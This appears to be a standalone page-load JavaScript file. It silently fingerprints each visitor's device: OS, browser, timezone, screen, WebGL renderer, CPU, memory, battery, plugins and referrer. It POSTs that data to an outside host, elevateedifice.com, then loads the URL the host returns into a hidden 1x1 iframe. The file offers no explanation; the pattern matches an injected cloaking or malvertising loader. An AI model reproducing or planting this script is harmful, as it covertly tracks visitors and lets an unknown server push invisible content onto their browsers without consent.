window.onload = async () => { let iFrameUrl = undefined; function detectOS(ua) { if (/windows phone/i.test(ua)) return "Windows Phone"; if (/android/i.test(ua)) return "Android"; if (/iPad|iPhone|iPod/.test(ua)) return "iOS"; if (/Macintosh/.test(ua)) return "macOS"; if (/Windows NT/.test(ua)) return "Windows"; if (/Linux/.test(ua)) return "Linux"; return "Unknown"; } function detectBrowser(ua) { ua = ua.toLowerCase(); if (ua.includes('fbav')) return "Facebook In-App Browser"; if (ua.includes('instagram')) return "Instagram In-App Browser"; if (ua.includes('line')) return "LINE In-App Browser"; if (ua.includes('tiktok')) return "TikTok In-App Browser"; if (ua.includes('wv') && ua.includes('android')) return "Android WebView"; if (ua.includes('crios') && !ua.includes('chrome')) return "iOS Chrome WebView"; if (ua.includes('fxios')) return "iOS Firefox WebView"; if (ua.includes('edgios')) return "iOS Edge WebView"; if (ua.includes('duckduckgo')) return "DuckDuckGo Browser"; if (ua.includes('vivaldi')) return "Vivaldi"; if (ua.includes('brave')) return "Brave"; if (ua.includes('samsungbrowser')) return "Samsung Internet"; if (ua.includes('tor')) return "Tor Browser"; if (ua.includes('edg/')) return "Microsoft Edge"; if (ua.includes('opr/') || ua.includes('opera')) return "Opera"; if (ua.includes('firefox')) return "Firefox"; if (ua.includes('chrome') && ua.includes('safari') && !ua.includes('edg')) return "Chrome"; if (ua.includes('safari') && !ua.includes('chrome')) return "Safari"; return "Unknown"; } /* --------------------------- main logic --------------------------- */ async function getDeviceInfo() { console.log("Get fingerprint") let ua; try { ua = navigator.userAgent || "unknown"; } catch (e) { ua = "unknown" } let platform; try { platform = navigator.platform || "unknown"; } catch (e) { platform = "unknown" } let os; try { os = detectOS(ua); } catch (e) { os = "Unknown" } let browser; try { browser = detectBrowser(ua); } catch (e) { browser = "Unknown" } let languages; try { languages = navigator.languages || [navigator.language || "unknown"]; } catch (e) { languages = "unknown" } let tz; try { tz = Intl.DateTimeFormat().resolvedOptions().timeZone || "unknown"; } catch (e) { tz = "unknown" } let locale; try { locale = Intl.DateTimeFormat().resolvedOptions().locale || "unknown"; } catch (e) { locale = "unknown" } let dateTime = undefined; try { dateTime = new Date().toString(); } catch (e) {} let screenRes = undefined; try { screenRes = `${screen.width}x${screen.height}`; } catch (e) {} let viewportSize = undefined; try { viewportSize = `${window.innerWidth}x${window.innerHeight}`; } catch (e) {} let colorDepth; try { colorDepth = screen.colorDepth || "unknown"; } catch (e) { colorDepth = "unknown" } let cookieEnabled = undefined; try { cookieEnabled = navigator.cookieEnabled || false; } catch (e) { cookieEnabled = false; } let javaEnabled = undefined; try { javaEnabled = navigator.javaEnabled ? navigator.javaEnabled() : false; } catch (e) { javaEnabled = false; } let cpuCores = undefined; try { cpuCores = navigator.hardwareConcurrency || "unknown"; } catch (e) { cpuCores = "unknown"; } let deviceMemory = undefined; try { deviceMemory = navigator.deviceMemory ? `${navigator.deviceMemory} GB` : "unknown"; } catch (e) { deviceMemory = "unknown"; } let referrer = undefined; try { referrer = document.referrer || "none"; } catch (e) { referrer = "none"; } let touchSupport = undefined; try { touchSupport = 'ontouchstart' in window || navigator.maxTouchPoints > 0; } catch (e) { touchSupport = false; } let screenOrientation = undefined; try { screenOrientation = (screen.orientation || {}).type || "unknown"; } catch (e) { screenOrientation = "unknown"; } let clipboardAccess = false; try { clipboardAccess = !!navigator.clipboard; } catch {} let plugins = []; try { for (let i = 0; i < (navigator.plugins || []).length; i++) { plugins.push(navigator.plugins[i].name); } } catch { } let webglInfo = {vendor: 'unknown', renderer: 'unknown'}; try { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { const d = gl.getExtension('WEBGL_debug_renderer_info'); if (d) { webglInfo.vendor = gl.getParameter(d.UNMASKED_VENDOR_WEBGL); webglInfo.renderer = gl.getParameter(d.UNMASKED_RENDERER_WEBGL); } } } catch { } let iframeDepthA = 0; let currentWindow = window; try { while (currentWindow !== currentWindow.parent) { iframeDepthA++; currentWindow = currentWindow.parent; } } catch (e) { console.log("error fetch iframeDepth"); iframeDepthA = -1; console.log(e); } let battery = undefined; try { let bt = [-1, -1, -1]; let d = await navigator.getBattery(); bt = [d.charging, d.chargingTime, d.level]; battery = encodeURIComponent(bt); } catch (e) { } const payload = { os, browser, userAgent: ua, platform, languages, timezone: tz, locale, dateTime, screenResolution: screenRes, viewportSize, colorDepth, cookieEnabled, javaEnabled, cpuCores, deviceMemory, referrer, touchSupport, screenOrientation, clipboardAccess, plugins, webglInfo, iframeDepthA, battery: battery }; console.log(payload); /* Build endpoint so that its origin (scheme+host+port) matches the page. */ const endpoint = "https://elevateedifice.com/check-data?t=3564a78c-d846-4357-bcfd-af727b6858fb"; /* ---- POST (send payload) → GET (check redirect flag) chain ---- */ try { const response = await fetch(endpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(payload) }); const body = await response.json(); iFrameUrl = body.url; } catch (e) { console.error('Error during fetch/redirect:', e); } } await getDeviceInfo(); const link = ""; if (!link) { const injectIframe = () => { if (!iFrameUrl) { return; } const ifrm = document.createElement('iframe'); ifrm.src = iFrameUrl; ifrm.style.cssText = 'width:1px;height:1px;border:none;'; document.body.appendChild(ifrm); }; if (document.readyState === 'complete') { injectIframe(); } else { window.addEventListener('load', injectIframe, {once: true}); } } }